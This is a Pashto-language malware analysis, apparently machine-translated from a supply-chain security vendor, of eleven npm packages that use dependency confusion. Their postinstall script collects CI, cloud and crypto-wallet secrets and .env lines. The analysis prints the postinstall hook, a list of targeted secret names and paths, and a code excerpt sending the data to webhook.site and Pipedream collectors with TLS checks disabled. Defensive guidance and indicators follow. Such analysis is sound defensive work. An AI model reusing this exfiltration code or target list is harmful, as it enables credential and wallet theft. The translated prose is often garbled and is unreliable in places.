د کریپټوډاو ګډوډي: د npm پیکجونو راټولول CI/CD او کریپټو رازونه

د کریپټوډاو ګډوډي: یوولس npm کڅوړې، یو تادیه، حاصلات CI/CD او د کریپټو-والټ رازونه

د تمديد؛ DR

په ۲۰۲۶-۰۶-۱۷، د npm یو واحد حساب خپور شو یوولس کڅوړې چې یو هدف او یو تادیه شریکويلس یې دا لیږدوي cryptodao- مختاړی (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types)؛ یوولسم د ساحې څخه بهر دی @public-for-cdao/core. هر یو په نسخه کې خپور شو 99.99.99 او د بایټ سره ورته والی لیږدوي recon.js چې پرمخ ځي postinstall.

نومونه یې څرګندونکي دي. دوی د کریپټو/DAO پروژې د شخصي وسیلې زنځیر د داخلي جوړښت بلاکونو په څیر لوستل کیږي. په مصنوعي ډول لوړ نسخه کې د عامه npm راجسټری ته خپاره شوي، دوی د جوړولو په انتظار کې ناست دي pipeline دا د دې نومونو د حل کولو لپاره تنظیم شوی او د شخصي راجسټری څخه مخکې - یا پرځای - عامه npm ته رسیږي. دا دی د تړاو ګډوډي، او پېلوډ په سمه توګه د هغه ځای لپاره تنظیم شوی چیرې چې تمه کیږي چې ښکته شي: CI/CD رنځونه.

كله postinstall اورونه، recon.js د کوربه توضیحات راټولوي، په کلکه یې پاکوي څلوېښت کلاوډ، CI، او کریپټو-والټ چاپیریال متغیرات، هر یو لوستل کیږي .env فایلونه چې دا کولی شي پټې کرښې په لفظي ډول ومومي او واستوي، بیا بنډل دوه راټولونکو ته لیږدوي - webhook.site او د پایپ ډریم پای ټکی — د TLS سند تصدیق غیر فعال شوی. یوه کاپي هم لاندې لیکل شوې ده /tmp.

شدت: د لوړاغیزمن ایکوسیستم: npmد لیکلو په وخت کې ټول یوولس پیکجونه ژوندي وو.

د برید اناتومي

میکانیزم څلور خوځنده برخې لري، او یو له دوی څخه نازک نه دی کله چې تاسو پوه شئ چې د بسته بندۍ نوم څخه یوه طبقه وګورئ.

۱. د نسخې انفلاسیون د حل کونکي لالچ په توګه. هر پیکج نسخه اعلانوي 99.99.99. د انحصار ګډوډي هغه وخت کار کوي کله چې د بسته بندۍ مدیر، د داخلي نوم، عامه راجستر هم ګوري او تر ټولو لوړه نسخه غوره کوي موندل. د کارټ یا وائلډ کارډ رینج لپاره د npm ډیفالټ انتخاب دی په هره ترتیب شوې سرچینه کې تر ټولو قناعت بخښونکې نسخه؛ که دواړه شخصي وي د ورته نوم لپاره د registry او public npm ځواب، د لوی نسخې شمیره ګټي. A 99.99.99 په اصل کې د هرې اصلي داخلي نسخې څخه غوره دی چې یوه پروژه به ولري رسېدلی، نو یو حل کوونکی چې د شخصي سرچینې سره نه وي تړل شوی غوره ګڼي عامه - او پدې حالت کې، دښمنانه - کاپي. چلونکی اړتیا نلري چې پوه شي د هدف اصلي نسخې شمیرې؛ د بې معنی اعظمي حد غوره کول تل مساوي تضمینوي خپله لاره ماتوي.

۲. د نصبولو وروسته محرک. package.json د نصبولو لپاره د پایلوډ تار ولګوي د ژوند دوره:

{   "scripts": { "postinstall": "node recon.js" } }

د کڅوړې واردول اړین ندي. یوازې د دې نصب کول - کوم چې یو CI pipeline په اتوماتيک ډول کوي — چلېږي recon.js.

۳. یو پراخ پټ لټون. recon.js د پایلو لړۍ په مرحلو کې راټولوي:

  • د کوربه شرایط: د کوربه نوم، پلیټ فارم او خپرونه، جوړښت، کارن نوم، کارن نوم Directory.
  • د چاپیریال متغیرات: دا د شاوخوا څلویښتو نومونو او ریکارډونو یو ثابت لیست تکراروي هر هغه چې ټاکل شوي وي. لیست ښکاره کوي - دا عمومي CI ټوکنونه سره یوځای کوي (د سي آی_جاب_ټوکن, د CI_REGISTRY_پاسورډ, ګیټ لاب_ای سی ایس ایس_ټوکن) او ورېځ اسناد (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, د AWS_SESSION_ټوکن) د راجستر او کانټینر رازونو سره (د NPM_TOKEN, ډاکر_پاسورډ, د هاربر پټنوم) او یو څرګند کریپټو خوند لرونکی کلستر:  شخصي_کلی, یادښتونه, د تخمونو_جمله, د انفورا_API_KEY, د کیمیا_API_KEY, د ETH_RPC په اړه, د BSC_RPCثبت شوي ارزښتونه لومړیو ۵۰ حروفو ته لنډ شوي دي.
  • .env فایلونه: دا د لارو لیست څیړي — .env, ../.env, / اپلیکیشن/.env, / اپلیکیشن/بیک انډ/.env, /ایپ/بوټ/.env, /home/gitlab-runner/.env, /روټ/.env, او د تولید/پراختیا ډولونه - او د هر هغه فایل لپاره چې شتون لري، دا منځپانګې د سمون لرونکو کرښو سره فلټر کوي کیلي|پټ|ټوکن|پاس|خصوصي|یادونه او دا کرښې **په بشپړ ډول، نه پرې شوي** په پایلو کې اچوي.
  • د جوړونې کوربه شرایط: دا د لومړي 20 داخلو لیست کوي /جوړوي/, / کور / ګیټ لیب - رنر / جوړونه /, /var/lib/gitlab-رنر/، او /ټي ايم پي/.

د لارې لیست او متغیر لیست د GitLab چلونکو په لور وزن لري، کوم چې په ګوته کوي د پراختیا کونکي پرځای په ځان کوربه شوي CI زیربنا کې په مستقیم ډول تادیه کول لپ ټاپ. د حاصلاتو لیست د کټګورۍ له مخې ګروپ کول د بار وړلو هدف ساده کوي:

کټه ګورۍ متغیرات / لارې ته رسیدلي
CI/CD پیژندنه او ځای پر ځای کول CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
بادل AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
راجستر او کانټینر NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
د معلوماتو ذخیره DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
کریپټو / بلاکچین PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
پیغامونه SLACK_TOKEN, DISCORD_TOKEN
په ډیسک کې .env کورنۍ + /home/gitlab-runner/.env, /root/.env, /app/**/.env؛ د لارښود لیستونه /builds/, /var/lib/gitlab-runner/

د کریپټو کلستر هغه برخه ده چې دا د عمومي CI-secret څخه توپیر کوي سویپ: د بټوې تخم جملې او د لاسلیک کولو کیلي یوازې د یو چاپیریال کې څرګندیږي د بلاکچین پروژه، او دوی په مستقیم ډول نقشه کوي کریپټوډاو-/ننوتنه یا ساین اېن/قراردادونه د بار وړونکو نومونه.

۴. د تایید سره دوه ګونی اخراج غیر فعال شوی. راټول شوی صف دا دی سریال شوی او دوه منزلونو ته پوسټ شوی:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

ردول غیر مجاز: غلط د وتلو لپاره د TLS سند چیکونه بندوي زنګونه. ورته معلومات په stdout کې چاپ شوي (نو دا د CI دندې لاګونو کې هم راځي) او لیکل شوی /tmp/.npm_recon_ .json. تېروتنې په خاموشۍ سره تیریږي، نو a ناکام لیږل د نصب کولو په محصول کې له یو واحد څخه هاخوا هیڅ نښه نه پریږدي [تشخیص] نصب شوی په کرښه.

په فایل کې یوه مخکښه تبصره دا د "د انحصار ګډوډي" په توګه تشریح کوي د کشفي بار." د چاپیریال ارزښتونو ۵۰ حروفو ته لنډول د مفهوم د ثبوت بڼه. هغه څه چې دا د شتون یوازې څراغ څخه تیریږي هغه دی .env اداره کول: پټې کرښې په بشپړ ډول لیږل کیږي، او منزلونه دوه کار کوونکي، د بریدګرو لخوا کنټرول شوي راټولونکي دي نه د یو سنک پر ځای چې یوازې شمیرل کیږي ټوپونه.

مهال ویش

د خپرونې نمونه د یو واحد سکریپټ شوي فشار لاسلیک دی، نه د یوولسو خپلواک اپلوډونه.

وخت (UTC، 2026-06-17) دکمپاینونو
03:24:58 cryptodao-bot@99.99.99 خپور
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — پراخه بڼه، ~24 دقیقې وروسته

لس پارسلونه د ۲۹ ثانیو په کړکۍ کې بهر ته لاړل، تقریبا په هرو دریو ثانیو کې یو. ساحه شوې @عامه-د-سي ډي او/کور لپاره شاوخوا ۲۴ دقیقې وروسته تعقیب شو - یوه ثانیه د ورته هدف لپاره د نوم ورکولو کنوانسیون، په هغه صورت کې چې مصرف کونکی پروژه حواله کوي داخلي وسیلې زنځیر د یوې ساحې لاندې نه بلکې د خالي نومونو په توګه.

د جوړجاړي شاخصونه

ډول شاخص
کڅوړه hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
کڅوړه hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
هک نصب کړئ postinstall: node recon.js
غورځول شوې فایل /tmp/.npm_recon_<timestamp>.json
د لوګ نښه کوونکی [recon] <pkg>@<ver> installed on <hostname> (په CI لوګو کې stdout)
چلند rejectUnauthorized: false د نصبولو پرمهال په بهر کې HTTPS کې
تادیه recon.js، په ټولو یوولسو پیکجونو کې ورته (یو شریک جوړونه)
نسخه 99.99.99 په هره بسته کې
پيکيجز cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (ټول 99.99.99)
خپرونکی aduljune / aduljune@proton.me (برېښنالیک نه تایید شوی، د سرچینې سره تړلی زیرمه نشته)

 منسوب او مشاهده شوی چلند

د کلستر په اړه هرڅه یو لاس ته اشاره کوي. ټول یوولس کڅوړې خپرې شوې د npm حساب له لارې اډولجون (aduljune@proton.me، یو نا تایید شوی پته پرته له د لینک شوي سرچینې ذخیره)، د 25 دقیقو په موده کې، په ورته وخت کې 99.99.99 نسخه ، لېږدول a recon.js چې محتويات يې په هر يو کې د بايټ په اساس يو شان دي بسته (MD5 د ټولو یوولسو استخراج شویو کاپيونو سره سمون لري). دا یو تادیه ده د نومونو په لیست باندې ټاپه شوی، نه د خپلواک کوډ بیا کارول.

د نومونو لیست ټاکل شوی هدف تعریفوي. کریپټوډاو-* او cdao تشریح کړئ د کریپټو/DAO پروژې د شخصي ماډل ترتیب، او د پایلوډ د حاصلاتو لیست هغه عکسونه چې اټکل کوي: د عمومي CI او کلاوډ رازونو سره سره، دا په ځانګړې توګه ته رسیږي شخصي_کلی, یادښتونه, د تخمونو_جمله، او ایتیریم/BSC RPC او د چمتو کونکي کیلي. د .env د لټون لارې او لارښود لیستونه د GitLab-runner دي ځانګړی. د لیدلو وړ اغیزه دا ده چې هر ډول pipeline د دې نصبولو لپاره دوکه شوی نومونه به د دې CI ټوکنونه، کلاوډ کیلي، او آن ډیسک ته واستوي .env رازونه - او، د د بلاکچین پروژه، د هغې د بټوې مواد - دوه دریمې ډلې راټولونکو ته.

موږ د دې په اړه هیڅ ادعا نه کوو چې حساب څوک چلوي یا دوی د دې حساب سره د څه کولو پلان لري معلومات. هغه حقایق چې په خپل ځان ولاړ دي: نومونه یو ځانګړی ډول په نښه کوي داخلي وسیلې زنځیر، پیلوډ ریښتیني پټ ارزښتونه لوستل او لیږدوي، او زیربنا ژوندۍ وه.

اغیز، رجحانات، او د مدافع لارښوونې

د انحصار ګډوډي اغیزمن پاتې کیږي ځکه چې دا د حل کونکي چلند څخه ګټه پورته کوي، نه a په هر پیکج کې زیان منونکی. دلته کیریر کوچنی دی - یوولس نږدې خالي کڅوړې - مګر د چاودنې وړانګې هر څه دي pipeline په غلطۍ سره عامه npm غوره ګڼي د داخلي نوم لپاره. د CI منډې وهونکي د دې پیښیدو لپاره ترټولو بد ځای دی: دوی لري په سمه توګه نښې او .env دا پېلوډ فایلونه لولي، او دوی یې نصبوي انحصارونه په غیر متقابل ډول، نو a د نصبولو وروسته منډه وهي پرته له دې چې څوک یې ونه ګوري.

دا کلستر هم هغه نمونه سره سمون لري چې موږ یې ګورو: د نصب وخت پیلوډونه چې شتون لري د "څیړنې" یا "کشف" په توګه پداسې حال کې چې د اصلي اسنادو راټولول ترسره کوي. لیبل په فایل کې هغه څه نه بدلوي چې کوډ په رنر کې کوي. دوه ډیزاین انتخابونه ساتي فعالیت خاموش: د هرې شبکې او فایل سیسټم عملیات په یوه کې پوښل شوي دي د استثنا سمبالونکی چې غلطۍ ردوي، نو یو بند شوی لیږل یا ورک شوی فایل هیڅ تشخیصي محصول نه تولیدوي، او یوازینی شی چې چاپ شوی دی هغه یو بې ضرره دی [recon] ... نصب شوی هغه کرښه چې د عادي نصب کولو چیټر سره یوځای کیږي. د ویب هوک. سایټ او پایپ ډریم هم قصدي اسانتیا ده - دواړه وړیا دي، سمدلاسه د غوښتنې نیولو خدمات چمتو شوي، نو آپریټر د سرورونو ته اړتیا نلري د دوی خپل او منزلونه د وتلو لاګونو کې د عادي SaaS کوربه نومونو په څیر ښکاري.

اقتصاد هغه څه دي چې دا د مدافعینو د پاملرنې وړ ګرځوي که څه هم د کیریر کوډ کوچنی دی. د یوولسو نومونو ثبت کول هیڅ لګښت نلري، د پیلوډ یو دی فایل یوولس ځله کاپي شوی، او د بسته بندۍ مدیر ټول اجراات کوي. یو واحد ناسم تنظیم شوی pipeline هر هغه ځای چې د دې نومونو څخه یو یې مصرفوي د ټول لپاره پیسې ورکوي عملیات.

د مدافعینو لپاره مشخص ګامونه:

  • داخلي سکوپونه خپل شخصي راجستر ته پین ​​کړئ. npm د داخلي نومونو په توګه تنظیم کړئ
     او سکوپونه یوازې ستاسو د راجسټری په وړاندې حل کیږي (د .npmrc راجسټری نقشې،
    یا یو پراکسي چې هیڅکله د ملکیت نوم ځایونو لپاره عامه npm ته نه رسیږي). خپل عامه ساحې نومونه خوندي کړئ ترڅو بل څوک یې ثبت نه کړي.
  • Commit د –ignore-scripts سره فایلونه لاک کړئ او نصب کړئ په CI کې چیرته چې امکان ولري، یا د هغو کوچنیو انحصارونو سیټ وڅیړئ چې په ریښتیا سره د سکریپټونو نصبولو ته اړتیا لري.  recon.js نشي چلیدلی که چیرې د نصبولو وروسته نه اجرا کیږي.
  • د داخلي ښکاري نوم 99.99.99 (یا بل بې معنی لوړ) نسخه سره چلند وکړئ د سره بیرغ په توګه د انحصار بیاکتنې او راجسټری څارنې کې.
  • د نصبولو په وخت کې د وتلو په اړه خبرتیا. A د نصبولو وروسته چې یو بهر ته تلونکی HTTPS پرانیزي اړیکه - په ځانګړي توګه د سند تصدیق غیر فعال سره - ته webhook.site، Pipedream، یا ورته د غوښتنې نیولو خدمات د شبکې په څنډه کې د بندولو او په جوړ شوي لاګونو کې د نښه کولو ارزښت لري.
  • د هنري اثارو لټون وکړئ. د منډې وهونکو لپاره وګورئ /tmp/.npm_recon_*.json د [recon] ... په ... مارکر کې په وروستیو CI لاګونو کې نصب شوی. که وموندل شي، هر یو وګرځوئ هغه سند چې ورته ښکاره شوی pipeline — د CI ټوکنونه، کلاوډ کیلي، د راجسټری ټوکنونه، او هر ډول والټ سیډونه یا شخصي کیلي چې په چاپیریال یا .env فایلونو کې شتون لري.

ماخذونه

د لیکلو په وخت کې د دې کلستر په اړه هیڅ بهرنۍ راپور ورکول شتون نه درلود؛ تحلیل پورته په مستقیم ډول د خپاره شوي کڅوړې مینځپانګې پراساس دی

د سکا-وسایل-سافټویر-ترکیب-تحلیل-وسایل
د خپل سافټویر خطرونو ته لومړیتوب ورکړئ، اصلاح یې کړئ او خوندي یې کړئ
خپل وړیا حساب ترلاسه کړئ.
هیڅ کریډیټ کارت ته اړتیا نشته.

د خپل سافټویر پراختیا او تحویلي خوندي کړئ

د زیګیني محصول سویټ سره